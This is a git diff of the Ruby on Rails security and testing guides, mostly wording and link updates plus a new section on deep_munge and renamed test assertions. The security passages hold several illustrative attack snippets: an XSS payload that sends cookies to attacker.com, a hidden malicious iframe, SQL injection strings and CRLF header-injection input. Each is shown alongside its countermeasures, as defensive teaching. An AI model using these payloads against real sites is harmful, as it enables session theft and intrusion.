+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
```
http://localhost:3006/user/activate
@@ -398,7 +406,7 @@ If the parameter was nil, the resulting SQL query will be
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
### Brute-Forcing Accounts
@@ -406,7 +414,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login
A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
-Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
+Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
@@ -418,24 +426,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
#### Passwords
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
#### E-Mail
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
#### Other
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
### CAPTCHAs
-INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
@@ -447,7 +455,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
* Randomize the field names
@@ -481,7 +489,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu
INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
-Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
```ruby
/^https?:\/\/[^\n]+$/i
@@ -495,7 +503,7 @@ http://hi.com
*/
```
-This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
```ruby
link_to "Homepage", @user.homepage
@@ -528,7 +536,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
@project = Project.find(params[:id])
```
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
```ruby
@project = @current_user.projects.find(params[:id])
@@ -547,7 +555,7 @@ Injection is very tricky, because the same code or parameter can be malicious in
### Whitelists versus Blacklists
-NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
+NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
@@ -571,7 +579,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
Project.where("name = '#{params[:name]}'")
```
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
```sql
SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -581,7 +589,7 @@ The two dashes start a comment ignoring everything after it. So the query return
#### Bypassing Authorization
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
```ruby
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -646,7 +654,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
@@ -679,7 +687,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
<script>document.write(document.cookie);</script>
```
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
```html
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -698,10 +706,10 @@ You can mitigate these attacks (in the obvious way) by adding the [httpOnly](htt
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
```html
-<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
+<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
```
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
@@ -718,7 +726,7 @@ _It is very important to filter malicious input, but it is also important to esc
Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
-Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
```ruby
strip_tags("some<<b>script>alert('hello')<</b>/script>")
@@ -744,7 +752,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
#### Examples from the Underground
@@ -760,9 +768,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
The MySpace Samy worm will be discussed in the CSS Injection section.
@@ -784,13 +792,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
```
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
```
alert(eval('document.body.inne' + 'rHTML'));
```
-The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
+The next problem was MySpace filtering the word "javascript", so the author used "java&lt;NEWLINE&gt;script" to get around this:
```html
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
@@ -837,7 +845,7 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_
### Ajax Injection
-NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
@@ -861,7 +869,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances
HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
```ruby
redirect_to params[:referer]
@@ -888,7 +896,7 @@ HTTP/1.1 302 Moved Temporarily
Location: http://www.malicious.tld
```
-So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
#### Response Splitting
@@ -913,6 +921,49 @@ Content-Type: text/html
Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+Unsafe Query Generation
+-----------------------
+
+Due to the way Active Record interprets parameters in combination with the way
+that Rack parses query parameters it was possible to issue unexpected database
+queries with `IS NULL` where clauses. As a response to that security issue
+([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
+[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
+and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
+`deep_munge` method was introduced as a solution to keep Rails secure by default.
+
+Example of vulnerable code that could be used by attacker, if `deep_munge`
+wasn't performed is:
+
+```ruby
+unless params[:token].nil?
+ user = User.find_by_token(params[:token])
+ user.reset_password!
+end
+```
+
+When `params[:token]` is one of: `[]`, `[nil]`, `[nil, nil, ...]` or
+`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or
+`IN ('foo', NULL)` where clauses still will be added to the SQL query.
+
+To keep rails secure by default, `deep_munge` replaces some of the values with
+`nil`. Below table shows what the parameters look like based on `JSON` sent in
+request:
+
+| JSON | Parameters |
+|-----------------------------------|--------------------------|
+| `{ "person": null }` | `{ :person => nil }` |
+| `{ "person": [] }` | `{ :person => nil }` |
+| `{ "person": [null] }` | `{ :person => nil }` |
+| `{ "person": [null, null, ...] }` | `{ :person => nil }` |
+| `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` |
+
+It is possible to return to old behaviour and disable `deep_munge` configuring
+your application if you are aware of the risk and know how to handle it:
+
+```ruby
+config.action_dispatch.perform_deep_munge = false
+```
Default Headers
---------------
@@ -951,7 +1002,7 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at
* X-Content-Type-Options
_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
* X-Content-Security-Policy
-[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
* Access-Control-Allow-Origin
Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
* Strict-Transport-Security
@@ -960,7 +1011,7 @@ Used to control which sites are allowed to bypass same origin policies and send
Environmental Security
----------------------
-It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
Additional Resources
--------------------
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 416a8b592f..36d37f3af0 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -66,18 +66,34 @@ Here's a sample YAML fixture file:
```yaml
# lo & behold! I am a YAML comment!
david:
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
steve:
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
```
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them.
+If you are working with [associations](/association_basics.html), you can simply
+define a reference node between two different fixtures. Here's an example with
+a belongs_to/has_many association:
+
+```yaml
+# In fixtures/categories.yml
+about:
+ name: About
+
+# In fixtures/articles.yml
+one:
+ title: Welcome to Rails!
+ body: Hello world!
+ category: about
+```
+
#### ERB'in It Up
ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
@@ -92,7 +108,7 @@ user_<%= n %>:
#### Fixtures in Action
-Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps:
+Rails by default automatically loads all fixtures from the `test/fixtures` folder for your models and controllers test. Loading involves three steps:
* Remove any existing data from the table corresponding to the fixture
* Load the fixture data into the table
@@ -116,7 +132,7 @@ email(david.girlfriend.email, david.location_tonight)
Unit Testing your Models
------------------------
-In Rails, unit tests are what you write to test your models.
+In Rails, models tests are what you write to test your models.
For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
@@ -195,31 +211,9 @@ This line of code is called an _assertion_. An assertion is a line of code that
Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-### Preparing your Application for Testing
-
-Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-```bash
-$ rake db:migrate
-...
-$ rake db:test:load
-```
-
-The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
-
-NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
-
-#### Rake Tasks for Preparing your Application for Testing
+### Maintaining the test database schema
-| Tasks | Description |
-| ------------------------------ | ------------------------------------------------------------------------- |
-| `rake db:test:clone` | Recreate the test database from the current environment's database schema |
-| `rake db:test:clone_structure` | Recreate the test database from the development structure |
-| `rake db:test:load` | Recreate the test database from the current `schema.rb` |
-| `rake db:test:prepare` | Check for pending migrations and load the test schema |
-| `rake db:test:purge` | Empty the test database. |
-
-TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
+In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised.
### Running Tests
@@ -254,7 +248,7 @@ To see how a test failure is reported, you can add a failing test to the `post_t
```ruby
test "should not save post without title" do
post = Post.new
- assert !post.save
+ assert_not post.save
end
```
@@ -278,7 +272,7 @@ In the output, `F` denotes a failure. You can see the corresponding trace shown
```ruby
test "should not save post without title" do
post = Post.new
- assert !post.save, "Saved the post without a title"
+ assert_not post.save, "Saved the post without a title"
end
```
@@ -343,6 +337,17 @@ Notice the 'E' in the output. It denotes a test with error.
NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+When a test fails you are presented with the corresponding backtrace. By default
+Rails filters that backtrace and will only print lines relevant to your
+application. This eliminates the framework noise and helps to focus on your
+code. However there are situations when you want to see the full
+backtrace. simply set the `BACKTRACE` environment variable to enable this
+behavior:
+
+```bash
+$ BACKTRACE=1 rake test test/models/post_test.rb
+```
+
### What to Include in Your Unit Tests
Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
@@ -357,28 +362,28 @@ Here's an extract of the assertions you can use with `minitest`, the default tes
| Assertion | Purpose |
| ---------------------------------------------------------------- | ------- |
| `assert( test, [msg] )` | Ensures that `test` is true.|
-| `refute( test, [msg] )` | Ensures that `test` is false.|
+| `assert_not( test, [msg] )` | Ensures that `test` is false.|
| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.|
-| `refute_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.|
+| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.|
| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.|
-| `refute_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.|
+| `assert_not_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.|
| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.|
-| `refute_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.|
+| `assert_not_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.|
| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.|
-| `refute_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.|
+| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.|
| `assert_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
-| `refute_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
+| `assert_not_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.|
| `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class`.|
-| `refute_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.|
+| `assert_not_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.|
| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.|
-| `refute_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.|
+| `assert_not_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.|
| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` responds to `symbol`.|
-| `refute_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.|
+| `assert_not_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.|
| `assert_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is true.|
-| `refute_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.|
+| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.|
| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
@@ -396,8 +401,8 @@ Rails adds some custom assertions of its own to the `test/unit` framework:
| `assert_no_difference(expressions, message = nil, &amp;block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
-| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.|
